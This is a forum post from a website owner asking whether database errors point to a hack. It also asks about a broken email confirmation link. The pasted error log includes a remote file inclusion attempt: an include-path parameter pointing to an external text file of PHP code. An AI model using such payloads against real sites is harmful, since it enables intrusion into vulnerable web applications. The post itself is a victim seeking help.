Is this hack???

Hello everyone. First of all thank you for taking time looking over my post. Well, from few days im getting database errors with my site, even though i did'nt changed nothing since 1 month ago. One of the errors that got my attention was this:

Database error in *** Mysql error: Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2) Debug backtrace:

Array ( [0] => /home/***/public_html/inc/db.inc.php ) [function] => require_once ) [2] => Array ( [file] => /home/***/public_html/inc/header.inc.php [line] => 167 [args] => Array ( [0] require_once ) [3] => Array ( [file] => /home/***/public_html/index.php [line] => 38 [args] => Array ( [0] => /home/***/public_html/inc/header.inc.php ) [function] => require_once ) ) Called script: //index.php Request parameters: Array ( [sIncPath] => http://books.siteburg.com/id3.txt???? ) -- Auto-report system

Im wondering what is that id3.txt from books.siteburg.com doing in my script!? I did'nt managed to find out even if i checked the link http://books.siteburg.com/id3.txt it seems is a php code with a message "PPPoE was here" . I keep getting "server has gone away" errors from MySQL.... I also found that /inc/header.inc.php had it's permission changed to 666 and i changed it back to 644.

Any idea what this could be? Thank you all

And another problem is the email confirmation link. When user press the e-mail confirmation link, it is activating the profile, but it gives him the page profile_activate.php page to download...

The confirmation link i guess it is wrong, because it gives a "%3D" at the end of the code such as:

(siteURL)/profile_activate.php?ConfID=10&ConfCode=YzJWTk5sSTFUME5tTmpCbVVRPT0%3D

I guess i have a blank space in the confirmation code but i don't know where i can find to fix that. Until now i did'nt had any problems with it.